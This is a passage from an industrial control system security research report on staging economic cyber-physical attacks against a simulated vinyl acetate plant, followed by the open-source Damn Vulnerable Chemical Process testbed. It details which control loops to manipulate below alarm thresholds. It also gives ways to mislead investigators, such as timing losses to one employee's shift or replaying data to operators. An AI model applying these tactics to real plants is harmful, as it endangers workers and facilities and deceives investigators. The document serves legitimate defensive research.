actual process, the attacker would need to make minor changes and then extrapolate how large a change was necessary to cause an unwanted result. We applied the following strategy to discovering dynamic process behavior. We first identified the steady state MV values. We than increased or decreased MV by approximately 1% for 30 sec and observed the process response measured by sensors. Depending on the response we increased 24 Chapter 6. Attaining Attack Objectives the magnitude and duration of the manipulation and monitored the process variables for reaching operational or safety constraints. Steady state attacks (SSA). Not all actuators are suitable for carrying out steady state attacks. XMV{4;5} move the process to its operational or safety constraints within a short time (from minutes to few hours) even if manipulated only slightly. Periodic attack (PA). This attack scenario can be seen as pulse-width modulation of a steady state attack in which pulse amplitude represents attack value (position of the valve), pulse width stands for attack duration and inter-pulse distance is process recovery time. Examining the sensitivity of control loops to periodic attacks is challenging due to the large number of attack parameters. Initially we looked at attacks directly setting the position of the valve at the recovery phase (to the steady state value or lower). However, this strategy was unsuccessful for the majority of control loops resulting in critical process variables drifting towards their constraints. This is because MVs were set to fixed values without adjustment to the process dynamics. Therefore we decided to leave administration of the process recovery phase to the controllers. One of the challenges we faced was control loop ringing while manipulating XMV(5) which controls the vaporizer exit flow. Sometimes, digital controllers produce a control signal that oscillates with decreasing amplitude around the final equilibrium level (Fig. 6.2a). This phenomenon is known as “ringing” and is caused by negative real controller poles. Ringing is an unwanted effect as it increases the wear and tear of controller components and can cause system instability within a multi-loop environment. Manipulation of XMV(5) in the negative direction (decreasing its value) causes a large overshoot which leads to process instability. In our simulations it manifested itself in form of impossible computations. 0 0.02 0.04 0.06 0.08 127.985 127.99 127.995 128 128.005 128.01 Hours psia Vaporizer Pressure (a) Control loop ringing 0 0.1 0.2 0.3 0.4 0.5 0.6 16 17 18 19 20 21 Vaporizer Exit Flow Hours Kmol/min (b) Attack pattern on XMV(5) Figure 6.2: Manipulation of control loop 5 (vaporizer) We still pursued this attack as reducing inflow of reactants would result in decreased production of VAC. To overcome the above challenge we decided to take advantage of the negative compensation reaction in the process recovery phase. In our approach we slightly increase the flow for 1-2 minutes and let the process recover for 2 minutes or longer (Fig. 6.2b). In the recovery phase the controller decreased the flow to bring the CV to the set point. In this way we were able to achieve reduced 6.4 Damage 25 flow (when averaged over time). Overall, there are three control loops in the reactor unit which can become unstable under certain attack parameters. Those are XMV{2;4;5}. Outcome of the control stage We have exhaustively tested all control loops for their sensitivity against a large number of attack settings {attack value; attack duration; recovery time}. Although we could establish a good mental model of process behavior, we needed to find a systematic way to categorize controlled loops. We decided on two parameters: sensitivity to magnitude of manipulation (MM) – how much we can change the process – and to required recovery time (RT). If the process can recover in a time equal to the attack time or shorter we consider such such control loops of low sensitivity. Table 6.1 gives the results of our analysis. Sensitive control loops are risky for reliable control. Sensitivity MM RT High XMV{1;5;7} XMV{4;7} Medium XMV{2;4;6} XMV{5} Low XMV{3} XMV{1;2;3;6} Table 6.1: Sensitivity of control loops We concluded with an analysis of alarm activation in response to control loop manipulations (Table 6.2). For each MV we noted upper limits of the attack parameters which would allow to manipulate the process without triggering an alarm (not included into the paper due to space limitation).2 Alarm SSA PA Gas loop O2 XMV{1} XMV{1} Reactor feed T XMV{6} XMV{6} Reactor T XMV{7} XMV{7} FEHE effluent XMV{7} XMV{7} Gas loop P XMV{2;3;6} XMV{2;3;6} HAc in decanter XMV{2;3;7} XMV{3} Table 6.2: Activation of alarms 6.4 Damage In the previous stage we evaluated the potential to control the process. In the damage phase the attacker tests those controls to achieve the damage desired. This stage is similar to the “what occurs if” approach deployed in a HAZOP analysis (“what happens if this valve is closed?”). The attacker must choose one or more attack scenarios to deploy in the final payload. This could be arbitrarily chosen based on gut feeling, but given the amount of effort it takes to mount a real 2At the time of conducting this research the mapping results were stored in a gigantic excel sheet. We are currently working on finding a smarter way to store results of process control stage. 26 Chapter 6. Attaining Attack Objectives attack, an attacker may well use a metric to measure her success. For an economic attack a plausible metric would be the amount of monetary loss to the victim. Technician vs. engineering answer The target plant may not have been designed in a hacker-friendly way and may not measure values needed to monitor attack performance. Also process information may spread across disparate subsystems forcing the attacker to invade a greater number of devices. Generally speaking, there are two types of measurements: “technician answer” is a qualitative measure, e.g. whether process measurement will decrease or decrease while “engineering answer” gives a quantitative answer by how much. When exploiting a process, anything requiring an engineering answer is hard as it often relies on data unique to the plant and its current operating mode. In order to determine monetary loss one needs to measure how much of vinyl acetate is produced in the reactor. As determined in the discovery stage, there is no analyzer installed in the reactor exit feed. Therefore the attacker does not have an engineering answer. However, the rate of the reaction can be qualitatively determined from the reactor exit temperature. A decrease in temperature signals that less reaction is happening in the reactor, so less product is being produced (Fig. 6.3a). This measure can be sufficient to determine whether a specific attack has an effect on the reaction rate, but does not allow to quantify the effect of an attack and select the most effective one. Looking at the process flowsheet, the only location where the attacker would be able to determine the exact amount of VAC produced is the decanter exit. However, this number would be available to the attacker only after hours, at the end of the refinement phase. This may not be a satisfactory option. Moreover, this would require the attacker to exploit additional devices. In our analysis we have not found a way to meet this challenge. 0 5 10 15 20 24 158.5 159 159.5 160 160.5 Reactor Exit Temperature Hours C (a) Reactor exit temperature as proxy measure of reaction rate 0 500 1.000 1441 0.74 0.76 0.78 0.8 0.82 0.84 VAC Production Minutes Kmol/min (b) Direct measurement of VAC molar flow in reactor exit Figure 6.3: Comparison of indirect and direct measurements In the real world such a challenge would force the attacker to look into controller code or search for process models in the test plant. In our case, we decided to look into the model code. In particular we were interested in the state variables in the reactor unit, used in the internal computations of the process model. We were able to locate “concentration” variables of seven chemical components 6.4 Damage 27 in ten sections of the reactor. Through extensive analysis of the obtained data and familiarizing ourselves with the principle of operation of the plug flow reactor employed in the VAC plant we could determine that the concentration of chemicals in the tenth section would be the same or about the same as in the reactor outflow. We still did not have the unit measure of those numbers, which did not sum up to one/hundred or to the total flow. After further investigations we could conclude that molar concentrations of chemical components can be computed according to the formula: MOLcomp(t) = CONCcomp(t) ∑compCONCcomp(t), where CONCcomp(t) are concentrations of the individual chemical components. We have verified the obtained numbers with those provided in Table 5 in [39]. Since the total reactor exit flow is directly measured in the plant, we could compute the amount of vinyl acetate produced: Out flowcomp(t) = MOLcomp(t)[%mol]×Freac[Kmol/min], where Freac is measured reactor outflow, XMEAS(6). The production of vinyl acetate is shown in Fig. 6.3b. The rate of VAC production indeed coincides with the reactor outflow temperature profile. Knowing the molar production of VAC we could finally quantify production loss in dollar equivalents as: Cost = VACout[Kmol]×86.09[g/mol]×0.971[$/kg], where 86.09[g/mol] is VAC molar weight and 0.971[$/kg] is VAC price as given in [39]. To verify the numbers obtained we compared the amount of VAC produced in reactor over a period of time (Fig. 6.4a) with the amount of VAC leaving the factory as final organic product (Fig. 6.4b); the numbers matched. O2 Co2 C2H4 C2H6 VAc H2O HAc 0 5 10 15 Product Loss: 137.21 Kmol (11469.70 $) Chemicals Avg. Outflow [Kmol/min] reference simulation attack simulation (a) VAC production in reactor VAc H2O HAc 0 0.2 0.4 0.6 0.8 Product Loss: 137.36 Kmol (11482.77$) Chemicals Avg. Outflow [Kmol/min] reference simulation attack simulation (b) Final product in decanter Figure 6.4: Vinyl acetate production, 24 hours With a suitable metric for evaluating the impact of the attack we could finally start searching for effective attacks. We have established the reference value of the steady-state production to determine loss (or gain) as a result of the attack. The categorization of the control loops based on 28 Chapter 6. Attaining Attack Objectives their economic damage potential is given in Tbl. 6.3. Certain attacks have caused an increase of vinyl acetate produced. This does not necessarily mean that the overall financial gain of the plant as such increased as production may have come at the cost of increased operating costs. However, we did not pursue this investigation. Therefore we did not consider attacks causing product gain as “successful”. Production loss SSA PA High, ≥ 10.000$ XMV{2} XMV{4;6} Medium, 5.000$−10.000$ XMV{6;7} XMV{5;7} Low, 2.000$−5.000$ – XMV{3} Negligible, ≤ 2.000$ XMV{1;3} XMV{1;2} Table 6.3: Categorization of control loops based on damage potential Note that attacks on XMV(1), oxygen feed, only have little attack potential, but also that this control loop easily becomes unstable. In addition, this control loop must be manipulated with great care is it quickly reaches its safety limit. Among all XMVs we mark this XMV as of least use. Outcome of the damage stage We conclude the damage phase with a portfolio of attacks which can be deployed at any opportune time. By scheduling attack value, attack duration and process recovery time we can control the amount of economic damage we would like to bring about. Important considerations Note that our analysis has only determined how much money will be lost. Ideally damage numbers should be multiplied by the chance of success so that a risky high-damage scenario can be compared with a low-risk low-damage scenarios. Precise risk metrics may never be available, but in general attacks that require manipulating more components are considered a higher risk. Attacks that require an engineering answer are riskier than attacks only requiring a technician answer. Finally attacks that must hit a particular measure value or fail are riskier than attacks that simply get more effective the closer they are to the optimal value. 6.5 Cleanup In our attack scenario we were aiming at attacks that do not move the process towards unsafe conditions. Since we are not causing alarms, the operator may not notice immediately that the process has drifted from the economically optimal operating state. However, process operators may get concerned after noticing a persistent decrease in VAC production and may try to fix the problem. There can be numerous reasons for a process upset and operators are used to them. In this section we discuss how to influence the operator’s believe about what is happening with the process. Having a human operator in the control loop (Fig. 6.5) turns process control system from pure cyber-physical system into socio-technical system (STS). To take advantage of the operator’s “vulnerabilities” the attacker needs to understand the specifics of the operator’s job and act according 6.5 Cleanup 29 to identified weaknesses in operator’s attention, judgment process or standard procedures he has to follow. Figure 6.5: Socio-technical system When a plant starts loosing money, investigations into that loss of revenue are likely. It may further be impossible to simply erase real-world effects. In this case the attacker needs to convince the investigators that the loss of revenue is due to some cause other than a hacker in the system. This can be done in a number of ways. For instance, the investigator may be persuaded that the disturbance arose due to operator error. If losses are timed so that they fall in a particular employee’s shift every time, one might end up investigating the employee rather than the process. The investigator may be persuaded that the change is environmental in nature. The attack pattern can be made to increase on rainy days or hot days. Another option is to persuade the investigator that the loss is to do equipment failure. Most chemical plants are harsh environments and components fail regularly. If an attacker either kills a controller through cyber means or waits for a component to fail naturally before starting an attack cycle, the investigator may believe that the problems are the fault of a suboptimal tuning of the new components instead of a cyber attack. Overall, events that can be used as a decoy for an attack can be grouped as: • Change in operating conditions: change of set point, change of raw material supplier, new equipment, etc. • Maintenance work: scheduled or unscheduled. • Specific events: change in weather conditions, particular operator on duty, etc. If multiple attacks are chained together they can be rotated when the attacker observes a change in the system. An industrial process, just like software, has to be debugged when it malfunctions. If the attacker changes her attacks based on the debugging efforts of the chemical engineers, future attacks may be attributed to the efforts of the engineer rather than a cyber attacker. Fig. 6.6 illustrates four different attacks which show themselves as symmetric fluctuations of different amplitudes in reactor exit temperature. It is not possible to see directly into the reactor. Investigators will apply specific metrics allowing them to evaluate the chemical processes in the reactor and hopefully determine potential reasons for the deterioration of reactor efficiency. They will then schedule maintenance work related to the causes identified. For this reason the attacker may keep “playing” different attacks having the same effect on specific chemical processes in the reactor making engineers believe that their maintenance efforts are not bringing the expected results. Typical examples of such metrics would be selectivity and conversion rate. Selectivity is a metric to control catalyst activity. Catalyst selectivity determines 30 Chapter 6. Attaining Attack Objectives 0 5 10 15 20 25 30 35 40 45 157 158 160 162 163 Reactor Exit Temperature Hours C Figure 6.6: Increasing variation of reactor exit temperature caused by attacks on different control loops the fraction of the ethylene consumed that makes the desired VAC product or in other words how much (in percent) of the primary reaction has been induced by the catalyst: SEL(t) = VACout(t) VACout(t)+0.5×CO2out(t) ×100, where VACout(t) and CO2out(t) are molar flows of the respective chemical components in the reactor outflow. Conversion determines the fraction of the chemicals consumed (converted into product and byproducts) during the reaction. This metric is informative in several ways. For instance there are certain safety limits and best-practice conversion rates, which should not be exceeded. Thus, reduced conversion rate of acetic acid and increased conversion of ethylene suggest an increase of the amount of the undesired secondary reaction. Conversion is computed as CONVcomp(t) = COMPin(t)−COMPout(t) COMPin(t) ×100, where COMPin(t) and COMPout(t) are molar masses of the chemical components in the reactor in- and outflows. In addition we introduced a metric to measure reactor efficiency. It computes how much molar mass of acetic acid has reacted, and compares this value to the amount of reacted ethylene. Since the reaction ratio of ethylene and acetic acid in the primary reaction is 1:1, the amount of reacted acetic acid is equal to the amount of correctly reacted ethylene. Relating this value to the amount of total reacted ethylene indicates the percentage of the primary reaction. Efficiency allows similar conclusions as selectivity, however, it is calculated based on the converted reagents rather than on the produced products: EFF(t) = HACin(t)−HACout(t) C2H4in(t)−C2H4out(t) ×100, Fig. 6.7 illustrates processes in the reactor during the attack on XMV(2). We have decreased ethylene feed at time t = 120 minutes. One can see how the attack affects the ratio between primary and secondary (ethylene combustion) reaction: the percentage of the primary reaction drops 6.6 Discussion 31 0 200 400 600 721 80 82 84 86 88 Minutes Efficiency [%] Average Efficiency Loss: 4.36 % reference simulation attack simulation (a) Reactor efficiency 0 200 400 600 721 85 86 87 88 89 Average Selectivity Loss: 2.73 % Minutes Selectivity [%] reference simulation attack simulation (b) Selectivity 0 200 400 600 721 0 10 20 30 40 Average Conversion Rates Minutes Conversion [%] O2 (30.67%) C2H4 (9.81%) HAc (29.06%) (c) Conversion 0 200 400 600 721 0 0.2 0.4 0.6 0.8 Total Product Loss: 11.445,02 $ Minutes Outflow [Kmol/min] VAc H2O HAc (d) Loss of final product (decanter) Figure 6.7: Analysis of the physical processes in the reactor from 87% to under 82% and the amount of the secondary reaction increases by 4.32% on average (Fig. 6.7a). Selectivity has also dropped to a lower level (Fig. 6.7b). Since selectivity is calculated based on the ethylene consumed in both primary and secondary reactions, we can conclude that an increase of the secondary reaction has a stronger effect on the reagents consumed than it has on the products produced. In other words, the consumption of reagents is the more expressive metric in this case. Fig. 6.7c plots the conversion rates for the main reagents in the reactor. Ideally, the conversion rate of acetic acid is ≈ 37%, around 2% higher than the oxygen conversion. However, due to the attack, the conversion rate of acetic acid drops beneath oxygen conversion, indicating that the reaction kinetics have changed.This is because the newly induced secondary reaction also consumes oxygen (even more than the primary reaction) At the same time the ethylene consumption has increased. Therefore we can conclude that the amount of the primary reaction has decreased (less acetic acid is converted), and the amount of ethylene combustion has increased. The result of the attack on XMV(2) is a significant reduction in production of the final product (Fig. 6.7d) 6.6 Discussion Our initial attacker model restricts the attacker from crossing any operational constraints. In reality the attacker may suppress alarms while supplying the operator with good process values, e.g. using 32 Chapter 6. Attaining Attack Objectives techniques proposed in our other work [29, 30]. We did check whether it might be beneficial for the attacker to violate operational constrains to cause more damage. Whereas we could almost double the loss in case of steady state attacks, the increase of amount of damage in periodic attacks was modest. Note, that in certain cases violation of operational alarms eventually moves the process into an unsafe state and triggers process shutdown via interlocks. Suppressing safety alarms and interlock triggers requires additional and more advanced hacking. An attacker is not restricted to a single scenario. Many attacks are not mutually exclusive. It may be possible to attack one part of the process and then later attack another part based on the success of the first. In hacker circles this is referred to as getting “multiple bites at the apple”. An attacker may never have full knowledge of the process and the environment. It may also be impossible for the attacker to fully test her code before deploying it. Chaining together multiple attacks into a single payload maximizes the chance that one of them will have the desired effect. 7. Damn Vulnerable Chemical Process One of the challenges of cyber-physical security research is the lack of large-scale test beds for studying complex attacks and their effects on physical processes. Building such a testbed requires not only significant financial investment and a specialized personnel but also regulatory permissions to conduct potentially unsafe experiments. Moreover it would involve additional expenses to re-build the testbed if it is broken as a result of successful offensive experiment. Out of this considerations a more affordable way of conducting cyber-physical experimentation is to use testbeds in form of simulation models. In 1993 Down and Vogel published a model of an industrial chemical process (Tennessee Eastmann process – TE) for the purpose of developing, studying and evaluating process control technologies [15]. For many years their model has proved to be beneficial to the process control community serving as a realistic check on the the industrial and practical relevance of novel process control solutions. Many publications have appeared about the TE process which became one the most popular research process models. Not surprisingly, also the ICS security community has adopted the TE model for studying the impacts of cyber attacks on physical processes (see e.g. [26, 43, 18, 7, 8]). One disadvantage of the TE model are the missing details about chemical reactions and the equipment involved. The dynamic behavior of the plant was provided in the form of a simulation in Fortran code accompanied by a flowsheet, a steady-state material balance, and a qualitative description of the key process characteristics. As a result this implementation does not allow studying specific research questions related to the modeled process. To address the continued interest among researchers to have additional industrial benchmark processes, Luyben and Tyreus published details of an industrial process for the production of Vinyl Acetate Monomer (VAC) in 1997 [39]. This model involves real non-ideal chemical components, a realistically large process flow sheet and consists of several standard unit operations that are typical of many chemical plants with the recycles stream and energy integration. With that the VAC process model goes a step beyond the TE process model. 34 Chapter 7. Damn Vulnerable Chemical Process What makes chemical plants excellent case studies? Chemical plants are large physical processes with very complex non-liner interdependencies. Their models include disturbances with wide spectrum of dynamic behaviors. Also plant models include simulation of controllers. Chemical plant models have challenging objective functions to maintain: optimal production, safety and minimize production costs. Those functions also allows to numerically evaluate the success of attack from several perspectives. 7.1 Framework description Damn Vulnerable Chemical Process (DVCP) is an open-source framework developed for cyber- physical security experimentation based on two above mentioned models of chemical plants [27, 28].1 DVCP allows to study what it takes to convert a cyber attack into a successful cyber-physical attack. The frameworks are useful for offensive research to design individual attack instances and complex attacks (combination of attack instances). Consequently the “defendors” can study resilience of processes to cyber attacks and develop risk assessment methods, robust control algorithms, attack detecting techniques, process-aware authentication methods, etc. The framework can be used standalone or as a physical layer of the distributed industrial control systems infrastructure as it is done e.g. at NIST [6]. Below we summarize our contribution to DVCP framework. Tennessee Eastman Process In our framework we use TE Matlab model developed by Ricker [48]. We redesigned the initial model of the TE process to include simulation of data integrity and DoS attacks on sensor signals and the manipulated variables (actuators) as shown in Fig. 7.3. Simulink model is multilayered and care must be taken to ensure correct implementation and propagation of attack parameters through the layers to individual controllers. A functional implementation of an integrity attack on an individual controller at the lowest layer is illustrated in Fig. 7.2. Attack data are stored in the work space for further the analysis and visualization. We enhanced the Simulink model with a user interface which allows to set attacks with few mouse clicks. (Fig. 7.3). The user can select attack value, attack time and its duration (predefined or random) as well frequency of attacks (single or periodic). Several attacks can be chained together or run in parallel. Besides, we enabled selection of the sampling frequency of sensor signals (process data). Original TE model does not allow any randomness in the simulations to guarantee the repeatabil- ity of the plant operation disturbances. It means that each simulation run produced identical results. It was a significant disadvantage of TE model as it was not possible to statistically evaluate impact of the attack strategies. We modified the original code by generating a new seed for the random number generator for each simulation run while preserving underlying dynamics of process behavior. It is now possible to switch off randomness or set a specific seed. Vinyl Acetate Process The authors of the Vinyl Acetate plant process built a rigorous nonlinear dynamic model of the process to verify the feasibility of the simulation the plant. Details on the assumptions and details of 1Authors: Marina Krotofil and Alexander Isakov 7.1 Framework description 35 Figure 7.1: Simulink model enhanced with attack blocks Figure 7.2: Functional implementation of attack modeling in Simulink the modeling are described in Section 5 in [39]. The simulation model was implemented in TMODS, DuPont’s in-house dynamic simulation environment, and thus, is not available for public use. In several academic works on vinyl acetate process models are implemented in specialized commercial simulation tools such as HYSYS [12], Visual Modeler [51], Aspen Plus [51] and others. To make process model available for a wider range of users Luyben et. al. have developed simulation model 36 Chapter 7. Damn Vulnerable Chemical Process Figure 7.3: GUI for launching attacks of VAM for Matlab[10, 9]. Both the steady state and dynamic behavior of the Matlab model were designed to be close to the TMODS model. Originally, process equations had been modeled in Matlab and then translated into C-routines. The C coded is compiled into “MEX functions” and can be called within the Matlab environment. A separate m-file is responsible for the control of the VAC process (scheduling of the C-routines) with a developed multiloop SISO architecture. Additional four Matlab routines were developed for plotting the results of the simulations. No simulation data were output to the workspace for further analysis. The initial model did not provide any interface to process code and any manipulations of the model inputs (e.g. setpoint or controller update) must have been carried out directly in the C code requiring its re-compilation. Considering the number of variables in the complex VAM process and the inconvenience of manipulating the process within the source code, we have developed a Simulink model of the process.2 Simulink provides an interactive, graphical environment for modeling, simulating, and analyzing the dynamic systems at any level of details. Simulink models are compact enough to be understood with moderate effort. The interactive nature of Simulink allows easy experimenting by changing the model and its parameters and immediately observing what happens. Thus, modeling of attack on a selected process component can be dome easily by adding a function block with several lines of code. Such functionality suits well the “what if” nature of cyber-physical exploitation. To allow users to befit from the experience curve we intentionally designed a Simulink Model for VAC process similar to one used in the TE model.3 We instrumented the Simulink model with a user interface for convenient update of process parameters and setting up attacks on individual 2Initially we have developed user interface and attack codes without building a Simulink model. Several months of experimentation have revealed limitations of such approach. 3We also named manipulated variables as XMV and controlled variables as XMEAS maintain consistent notation between TE and VAM Simulink models. 7.1 Framework description 37 Figure 7.4: User interface for setting up attacks components (Fig. 7.4). We also implemented an output of the simulated data to the workspace for further analysis and enabled their automatic visualization (Fig. 7.5). We fixed several implementation mistakes in process code and also made several improvements to its control model to make process more stable. Figure 7.5: Visualization of simulation results The advantage of the VAC model is that it is "‘built"’ out of realistic "‘components"’. With the open source code one can easily modify process model by e. g. changing catalyst decay conditions or adding dynamics of the pumps. 38 Chapter 7. Damn Vulnerable Chemical Process 7.2 Comparison of TE and VAM processes This section gives a short comparison between Tennessee Eastman and Vinyl Acetate process models. Involvement of the real non-ideal chemical components and the size of the process (Tbl. 7.1) make Vinyl Acetate a more challenging process control problem. TE VAM # sections 5 10 # states 50 246 # measurements 41 43 # MV 12 26 # modes 6 1 # setpoint changes 4 2 # disturbance modes 20 5 Process complexity Medium High Table 7.1: Complexity of the process Availability of literature on the VAC process specifics (Tbl. 7.2) allows to design targeted attacks. In contrast, absence of the a priory information about the TE process makes it an excellent case study for emulation of “grey-box” exploitation use cases. In addition, TE model includes a wide choice of the disturbances with both plantwide and local effects what can make exploitation more challenging. TE VAM Chemicals and reactions are specified - + Equipment is specified - + Safety constraints + + Operating constraints + + Operating cost function + − Sensor signal noise + - Process randomness ∓ 4 - Predefined process code + - Literature on the process ∓ 5 + Table 7.2: Specification of the processes In [40] authors specify a number of complexities and interesting dynamic effects of the VAM process. Vinyl Acetate process quickly becomes unstable if pushed outside of the steady state conditions. In contrast, controlling TE process is rather straightforward and the process is more robust to malicious manipulations. Both processes have control loops with short and large time constants and exhibit fast and slow dynamics depending on the input parameters of the process (change in the operating conditions). 4Enabled by us 5Since the exact chemistry of TE process is unknown, there is no literature on the process details. However, there is a large number of works on the topic related to TE process control, its safety and security. In contrast, VAM is a real process. There is a large body of literature on the specifics of the individual unit operations and chemical reactions. 7.3 Potential applications 39 7.3 Potential applications As was mentioned above, the models can be used standalone or as a physical layer6 of the distributed industrial control systems reference architecture (Fig. 7.6). The latter is useful for researching security questions at the upper layers of the reference architecture (networks and components). To be precise, since process models also include controllers and an implemented control strategy, they encompass layers 0-1 of the reference architecture (process and basic/regulatory control). Field equipment Level 0 Process Level 1 Level 2 Level 3 Level 4 Basic control Supervisory Control Process management Corporate network PLC PLC PLC HMI Engineering station Historian Publishing server DMZ DCS servers Application servers Figure 7.6: Process control automation reference architecture DVCP as part of the (distributed) control infrastructure In this section we describe one of our early research projects in which we connected TE model to a control system consisting of a PLC and an HMI to study attacks on the PLC and intrusion detection possibilities with the network IDS. Attacks on situational awareness. Industrial process dynamic is monitored by operators via a Human Machine Interface (HMI) console around the clock. Upon observing an undesired process behavior, an operator takes corrective measures to bring the process back into its steady state. Moreover, if the operator attributes the disturbances as being of unnatural causes, she can initiate an immediate incident investigation. Out of this considerations the attacker might prefer to hide the real field data from the operator (see section 6.5). This type of attack was realized in Stuxnet [32]. Let the attacker’s goal be to raise the pressure in the reactor to an unsafe limit without operator’s awareness. One of the possibilities to achieve this is to record steady state process data and replay them to the operator during the attack. By that the attacker would impede process observability resulting in the operator losing situational awareness.This is one of the most dangerous attacks on process control. If the attacker manages also to manipulate the safety limit value or suppress 6Here physical layer refers to the Layer 0 of the process automation reference architecture [22] 40 Chapter 7. Damn Vulnerable Chemical Process IP: 192.168.0.2 PV Modbus Libmodbus HMI PROFINET TIA Portal V.11 Engineering station IP: 192.168.0.5 IP: 192.168.0.6 Process simulation SP Modbus IDS Data Processing Unit Data Monitor Alarm Manager IP: 192.168.0.1 PROFINET PLC PROFINET Linux host Figure 7.7: Testbed and IDS architecture the safety systems communication link, the reactor can actually explode and injure personnel in its vicinity [5]. To model and to detect such type of attacks we have implemented an experimental environment in a form of a hybrid process control environment (real hardware, simulated process) as depicted in Fig. 7.7. It is based on the Siemens SIMATIC S7-1200+KTP400 Starter Kit hardware and industrial protocol Modbus/TCP. We used the libmodbus library [37] to enable communication between the simulated process and the HMI7. The Programmable Logic Controller (PLC) polls selected PV to display them in the HMI and forwards the setpoints to the process. Modbus protocol utilizes Client-Server communication model. Therefore it is required to install Modbus Server and Client on the PLC (Fig. 7.8). We implemented attacks on process variable observability through manipulation of the PLC code. During the initial stage of the attack, the PLC records process measurements during normal plant operations. When the attack begins, the PLC sends stored data to the HMI whereas the real field data remains undisclosed. To detect this we implemented an experimental IDS engine. We monitor data flows between the process and the PLC and between the PLC and the HMI. Any discrepancy in the process value between indicated data flows will indicate an attack on data consistency. To watch over the specified data flows on one hand we query the output registers of the PLC for the data which should be displayed on the HMI. On the other hand we capture the traffic between the process and the PLC. If the inconsistency in data beyond a certain threshold is detected as shown in Fig. 7.9, an alarm is generated by the Alarm Manager. This is certainly a relatively straight forward both attack scenario and detection approach. Although the experimental environment described above does not represent the typical distributed 7Modbus connectivity libraries are available in different languages, e.g. we also used Jamod (Java) [56] 7.3 Potential applications 41 Figure 7.8: Modbus client on the PLC 2770 2780 2790 2800 2810 2820 2830 00:10 00:20 00:30 00:40 00:50 01:00 01:10 Pressure (kPa) Time (h:min) Real Value PLC Value Figure 7.9: Data inconsistency detection nature of the industrial control systems it is still sufficient for researching a wide variety of security problems and is affordable to small research groups. It is possible to set up a more vigorous control infrastructure as described e.g. in [52], but such environments require significant financial and manpower investments. In [17] the operators of the testbed has presented the influence of the networking parameters on the effects of attacks on Tennessee Eastman process. It is worthwhile mentioning, that process models can be also attached to the affordable network simulators (e.g. ns-2, OMNeT++) to study networking attacks on the physical processes. 42 Chapter 7. Damn Vulnerable Chemical Process In general, it is possible to attach any peace of equipment to the process model, with any protocol and research into impact of the cyber vulnerabilities on the physical process (think of MITM, hijacking sessions, DoS, spoofing, replay, packet injection, PLC exploits, vulnerabilities in switches and mobile applications for ICS, DB vulns (especially historians), blinding operator, etc.). Hack anything you want at the control infrastructure layer and demonstrate effect of your attack at the physical layer! In the same way it is possible to evaluate effect of the defensive solutions (all kinds of intrusion detection approaches, hardening of the protocols and equipment, network monitoring, etc.). DVCP as standalone testbed Working with the combination control equipment/physical process can be laborious. Once the cyber-vulnerability is understood it is easier to abstract its potential impact and to apply it directly to the model. For example in [34] Jason has presented algorithms for sensor signal spoofing and how they can be coded into a rootkit for sensor’s firmware. In turn, Marina has applied those algorithms to spoofing sensor signals from TE process model and developed a process-aware approach to detecting such spoofed signals [30]. What is important is that by abstracting from the real sensor microcontrollers we could concentrate on the factors which make spoofing challenging at the process level8, e.g. sensor signals parameters (sensor noise, sampling frequency, types of dynamic process behavior, etc.). Similarly in [31] we demonstrated susceptibility of physical processes to “stale data” brought about by DoS attacks on communication links between the controller and the process. We first presented vulnerabilities of control equipment which would allow to launch DoS attacks or make control equipment operate on stale data. After that we demonstrated how those vulnerabilities can be made exploitable and studied in depth the impact of different process parameters on the attacks’ success. Since process models contain controllers, the models allow to implement networking attacks (e.g. MITM) or attacks on controllers and control algorithms directly in the Simulink model (e.g. for feasibility study). One of such attacks scenarios not discusses in this paper is maladaptive malicious control in which the attacker is trying to destabilize control loop and making it uncontrollable. This is achieved by maximize the error in control output. The algorithm learns the behavior of PID controller and then compensates for its control efforts. As a result, everything the controller does makes things worse. Alternatively, simulated process data can be saved as .cvs file and used for testing malicious exploitation algorithms, exploits on the PLC, anomaly detection algorithms, etc. Research questions and applications Below we present examples of the research questions (with the examples of existing works) which can be studied using DVCP. • Risk assessment. Existing processes and control strategies were not designed and built with security in mind. By studying process performance and reaction under unknown conditions brought about by malicious manipulations defender can better understand the bottlenecks in process infrastructure and weaknesses in control configuration. E.g. in [19] the authors 8In contrast to firmware rootkitting challenges 7.3 Potential applications 43 examined the influence of the networking parameters on the remotely executed attack directed at control valves (to bring valves into a certain position). It was shown that process control tuning such as PLC task scheduling and valve speed play important role in process reaction and can be configured accordingly to make remote exploitation harder and even impossible. In [31] we have shown that the impact of the DoS attacks on the controller output are much less dangerous than the attacks on sensor signals. Additionally we identified parts of the process which are more sensitive to such attacks than another. The defenders can develop approaches for the assessment of process resilience to the attacks and to categorize sensors and control loops based on their impact on plant economy and safety. Those that entail safety compromise in minutes or having substantial impact on plant stability could be more closely monitored and tightly controlled. • Process-aware security controls. While the research community is still investigating the opportunities to defend cyber-physical systems from targeted attacks, there are already novel approaches to securing processes at the physical and control layers. E.g in [45] authors proposes a control-theoretic method, called physical watermarking, to authenticate the correct operation of a control system. Its utility lies in its ability to allow physical authentication of physical components. By injecting a known noisy input to a physical system, it is expected that the effect of this input can be found in the measurement of the true output. If an attacker is unaware of this physical watermark, the system cannot be adequately emulated because the attacker is unable to consistently generate the component of the output associated with this known noisy input. Consequently, the watermark acts as a physical nonce, forcing an attacker to generate outputs unique to the given inputs at a chosen time. • Security aware control strategies. The design of any control system (as of any engineering system) starts with the requirements. A viable control strategy not only satisfies operational and economic goals but is ideally also able to absorb the greatest anticipated disturbance. Al- though disturbances are “acts of God”events, long process operation history has accumulated substantial experience about the types of possible operational disruptions. In practice, it is hardly possible to design a single control structure capable of accommodating all operational objectives. Therefore often one or more alternative control strategies are developed in parallel to compensate for the weaknesses of the other control configurations (dynamic controlabil- ity). One of the widely applied techniques for alternative control is the usage of override controllers [38] which can take command of a manipulated variable away from another con- troller when otherwise the process would exceed some process or equipment constraint. Such selective control keeps the equipment running although sometimes at a suboptimal level. Most of the developed control structures for TE process are modified with overrides to deal with certain types of disturbances [49, 40]. The approach of using overrides can be similarly applied to compensate for the process impairments caused by the cyber-attacks. In [3] the authors propose a design for causal feedback controller to minimize the impact of the DoS attacks on the communication between controller and the process. In general, the requirements related to the security aspects of plant operations should be determined upfront and included among the set of the control goals. • Intrusion detection. Intrusion detection plays important role in early identification of the ongoing attack. The challenge is that well-designed cyber physical attacks are not easily 44 Chapter 7. Damn Vulnerable Chemical Process distinguishable from natural disturbances and accidents. Telling up disturbances and attacks is an interesting research problem. Intrusion detection can take at any layer of cyber-physical system (Fig. 7.10) as well as at the interactions between the layers. In [30] we have proposed process-aware approach to detecting spoofed process measurements. The detection takes form of the correlation entropy in a cluster of related sensors (process layer). In [42] the authors detect attacks hidden in the sensors signals noise using proxy measurements (process layer). In another work the same authors [43] propose an 